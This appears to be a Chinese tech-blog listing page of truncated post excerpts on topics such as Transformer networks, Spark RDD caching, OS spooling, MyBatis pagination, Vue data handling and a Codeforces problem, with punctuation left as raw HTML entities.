企业数字化转型关键路径:构建数据驱动的管控体系

本案例以元年方舟企业数字化转型PaaS平台为某国际运动品牌&#xff0c;解决全渠道对账项目应用为例&#xff0c;通过建立全渠道对账系统研发&#xff0c;构建数据驱动的管控体系&#xff0c;帮助该零售企业实现数字化转型的突破。 关键词&#xff1a;企业数字化&#xff1b;新…

Transformer网络

Transformer网络可以利用数据之间的相关性&#xff0c;最近需要用到这一网络&#xff0c;在此做一些记录。 1、Transformer网络概述 Transformer网络最初被设计出来是为了自然语言处理、语言翻译任务&#xff0c;这里解释的也主要基于这一任务展开。 在 Transformer 出现之前…

99-127-spark-核心编程-持久化-分区-io-累加器-广播变量

99-spark-核心编程-持久化-分区-io&#xff1a; RDD持久化 1) RDD Cache 缓存 Spark02_RDD_Persist RDD 通过 Cache 或者 Persist 方法将前面的计算结果缓存&#xff0c;默认情况下会把数据以缓存在 JVM 的堆内存中。但是并不是这两个方法被调用时立即缓存&#xff0c;而是触…

OS_@假脱机技术@设备分配@设备映射

文章目录OS_假脱机技术设备分配设备映射设备分配的策略1)设备分配原则2)设备分配方式静态分配动态分配3)设备分配算法设备分配的安全性1)安全分配方式2)不安全分配方式逻辑设备名到物理设备名的映射两种方式设置逻辑设备表假脱机(Spooling)系统SPOOLing系统的组成SPOOLing的工作…

足球一代又一代得青春

世界杯由来 世界杯&#xff08;World Cup&#xff09;即国际足联世界杯&#xff0c;是世界上最高水平的足球赛事。 众所周知&#xff0c;现代足球起源于英国&#xff0c;随后风靡世界。由于足球运动的迅速发展&#xff0c;国际比赛也随之出现。1896年&#xff0c;第一届现代奥…

[附源码]计算机毕业设计的疫苗接种管理系统Springboot程序

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; Springboot mybatis MavenVue等等组成&#xff0c;B/S模式…

Educational Codeforces Round 139 (Rated for Div. 2) D. Lucky Chains

翻译&#xff1a; 让我们命名一对正整数(&#x1d465;&#xff0c;&#x1d466;)&#xff0c;幸运的是它们的最大公约数等于1 (gcd(&#x1d465;&#xff0c;&#x1d466;)1)。 让我们定义一个链(&#x1d465;&#x1d466;)引起的一系列双(&#x1d465;&#x1d466;)…

Vue中对获取数据、返回数据进行处理的wode总结

&#x1f4ad;&#x1f4ad; ✨&#xff1a;Vue中对获取数据、返回数据进行处理的总结   &#x1f49f;&#xff1a;东非不开森的主页   &#x1f49c;: 也许&#xff0c;不负光阴就是最好的努力&#xff0c;而努力就是最好的自己。&#x1f49c;&#x1f49c;   &#x1f3…

Mybatis:MyBatis的分页插件(11)

Mybaits笔记框架&#xff1a;https://blog.csdn.net/qq_43751200/article/details/128154837 Mybatis中文官方文档&#xff1a; https://mybatis.org/mybatis-3/zh/index.html 分页插件1. 分页插件使用步骤2. 分页插件的使用2.1: 开启分页功能2.2: 分页相关数据2.3: 常用数据1.…

在小公司干测试5年,如今终于熬出头了,入职美团涨薪14K

你的努力&#xff0c;终将成就无可替代的自己&#xff0c;本科毕业后就一直从事软件测试的工作&#xff0c;和多数人一样&#xff0c;最开始从事功能测试的工作&#xff0c;我朋友看着自己的同学一步一步往上走&#xff0c;自己还是在原地踏步&#xff0c;说实话这不是自己想要…

TongWeb7微服务适配方案

先介绍一下我们微服务项目的部署情况&#xff1a; 之前使用的是内置的Tomcat容器部署方式&#xff0c;运行项目使用的 java -jar 项目文件 方式&#xff0c;然后使用k8sdocker容器化部署。 还没了解TongWeb部署的同学们&#xff0c;可以看看我前面写的几个关于TongWeb本地部…

【有营养的算法笔记】巧解蛇形矩阵

&#x1f451;作者主页&#xff1a;进击的安度因 &#x1f3e0;学习社区&#xff1a;进击的安度因&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;有营养的算法笔记 ✉️分类专栏&#xff1a;题解 文章目录一、题目描述二、思路讲解三、代码实现一、题目描…